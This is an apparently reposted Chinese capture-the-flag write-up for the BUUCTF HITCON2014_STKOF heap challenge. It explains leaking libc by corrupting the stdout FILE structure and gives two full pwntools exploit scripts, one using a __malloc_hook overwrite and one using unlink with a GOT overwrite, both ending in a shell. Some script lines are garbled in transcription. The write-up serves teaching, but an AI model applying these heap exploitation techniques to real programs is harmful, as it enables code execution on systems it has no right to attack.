IO攻击之stdout

admin 2024年4月28日10:55:31评论3 views字数 3715阅读12分23秒阅读模式

题目:BUUCTF HITCON2014_STKOF

这是一道很老的题目的,原本解题是采用unlink方式,但是介于这个方式在高版本上加入了过多限制条件,以至于只能在2.23到2.27低版本上使用较为方便,所以当遇到这道题的时候就采取了打IO的方法。

首先看下main函数

IO攻击之stdout

其中1是create,2是edit,3是free,没有输出

1、

IO攻击之stdout

2、

IO攻击之stdout

3、

IO攻击之stdout

不存在uaf但是edit有堆溢出,size可控可以修改到后面的堆块,所以漏洞点在这里

这个题目没有setbuf()/setvbuf()函数,所以题目是没有关闭缓冲区,函数运行开始阶段在fgets()函数以及printf()函数运行的时候,会malloc()两块内存区域(这里printf也有个利用方式,因为printf或者puts首次调用会申请堆块,输出过多的时候也会调用堆源码如下:)

知识扩充(一):

f (width >= WORK_BUFFER_SIZE - 32)

 1500     {

 1501      /* We have to use a special buffer.  The "32" is just a safe

 1502        bet for all the output which is not counted in the width.  */

 1503      size_t needed = ((size_t) width + 32) * sizeof (CHAR_T);

► 1504      if (__libc_use_alloca (needed))

 1505       workend = (CHAR_T *) alloca (needed) + width + 32;

 1506      else

 1507       {

 1508        workstart = (CHAR_T *) malloc (needed);

printf单次大小>65536-32,就会进入malloc

知识扩充(二):

①全缓冲概念:当填满标准I/O缓冲区后才进行实际I/O操作对于驻留在磁盘上的文件通常是由标准I/O库实施全缓存的标准I/O缓冲区的大小通常为8192字节②行缓冲概念:当在输入和输出中遇到换行符时,才执行IO操作这允许我们一次输出一个字符(调用fputc),但只有在写了一行之后才进行实际I/O操作。这流设计一个终端时(如标准输入和标准输出),通常使用行缓冲对于行缓冲有两个限制:第一:因为标准I/O库用来收集每一行的缓冲区的长度是固定的,所以只要填满了缓冲区,那么即使没有遇到换行符,那么也刷新缓冲区进行I/O操作第二:任何时候只要通过标准I/O库要求从(a)一个不带缓冲区的流,或者(b)一个行缓冲的流(它从内核请求需要数据)得到输入数据,那么就会冲洗所有行缓冲输出流。在(b)中带了一个在括号中的说明,其理由是,所需的数据可能已在该缓冲区中,它并不要求一定从内核读数据。很明显,从一个不带缓冲区的流中输入(即(a)项)需要从内核获得数据③无缓冲概念:不对字符进行缓冲,每次调用标准I/O函数都会发生IO操作

然后就是利用方式,由于这里没有输出堆块内容的函数,所以要想获取地址要么用unlink改got表,要么打stdout,这里我使用了打stdout:

首先打stdout需要绕过一些条件

1、设置_flags & _IO_NO_WRITES = 0 _

2、设置flags & _IO_CURRENTLY_PUTTING = 1 _

3、设置flags & _IO_IS_APPENDING = 1 _

4、将IO_write_base设置为要泄露的地方

所以_flag设置成0xfbad1887或者0xfbad1800都可以,然后注意IO_write_base设置成要泄露的地址,其中stdout的地址有16分之一的爆破(0-F)

最终脚本如下:

realchange,p,elf,libc = IPportandprocess('./pwn',ipport='node4.buuoj.cn:25455',libcis='')

 debugg()

 def add(size):

   sl("1")

   sl(str(size))

 def edit(index,content):

  sl("2")

 sl(str(index))

sl(str(len(content)))

   sl(content)

 def free(index):

   sl("3")

sl(str(index))

 add(0x90)#1

 add(0x60)#2

 add(0x50)#3

 add(0x60)#4

 add(0x60)#5

 edit(2,pld(cyclic(0x68),0xd1))

 free(4)

 free(3)

 add(0x50)#6

 edit(6,pld(cyclic(0x58),0x71,'xddx25'))

 add(0x60)#7

 add(0x60)#8

 free(1)

 edit(8,b'A'0x33+p64(0xfbad1800)+p64(0)3+b'x00')

 ru('8nOKn')

 std_add=getadd64()

 libc_base=std_add-88-0x10-libc.sym.__malloc_hook

 fake_hook=libc_base+libc.sym.__malloc_hook-0x23

 add(0x60)#9

 free(9)

 edit(6,pld(cyclic(0x58),0x71,fake_hook))

 add(0x60)#10

 add(0x60)#11

 system_add=libc_base+libc.sym.system

 sh_add=libc_base+libc.search(b'/bin/sh').next()

 edit(11,pld(cyclic(0x13),system_add))

 add(sh_add)

 interactive()

这里要注意一个坑点,因为程序没有关闭缓冲区,在内存中并没有要泄露的libc地址存在

IO攻击之stdout

IO攻击之stdout

所以这时候堆块1就用上了,我们free掉1号堆块就正好进入unsorted bin,里面留下了libc的地址,就可以吧base的最后一位改成x00就达到泄露地址的条件了,后续就是改hook拿shell的常规操作了。

IO攻击之stdout

然后看一下预期解unlink:

from pwn import *

from LibcSearcher import *

gdb.attach

io=process('./pwn')

# io=remote('node4.buuoj.cn',25605)

elf=ELF('./pwn')

puts_plt=elf.plt['puts']

puts_got=elf.got['puts']

free=elf.got['free']

def add(size):

 io.sendline('1')

 io.sendline(str(size))

 io.recvuntil('OKn')

def edit(idx,size,content):

 io.sendline('2')

 io.sendline(str(idx))

 io.sendline(str(size))

 io.send(content)

 io.recvuntil('OKn')

def delete(idx):

 io.sendline('3')

 io.sendline(str(idx))

add(0x100)

add(0x20)

add(0x80)

ptr=0x602150

payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)+p64(0x20)+p64(0x90)

edit(2,len(payload),payload)

delete(3)

io.recvuntil('OK')

payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)

edit(2,len(payload),payload)

edit(1,8,p64(puts_plt))

delete(3)

puts_addr=u64(io.recv(6).ljust(8,b'x00'))

print(hex(puts_addr))

libc=elf.libc

base=puts_addr-libc.sym['puts']

io.recvuntil('OK')

system_addr=base+libc.sym.system

payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(libc.search(b"/bin/sh").next()+base)

edit(2,len(payload),payload)

edit(1,8,p64(system_addr))

delete(3)

io.interactive()

fd改成目标地址s - 0x18(目标地址-0x18位置一定要指向堆块)把bk改成目标地址-0x10(同理),然后需要合并的prev_size和size的p位修改即可。达成的效果就是目标地址被修改成目标地址减去0x18的地址位置

原文始发于微信公众号(由由学习吧):IO攻击之stdout

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月28日10:55:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   IO攻击之stdouthttp://cn-sec.com/archives/2080523.html

发表评论

匿名网友 填写信息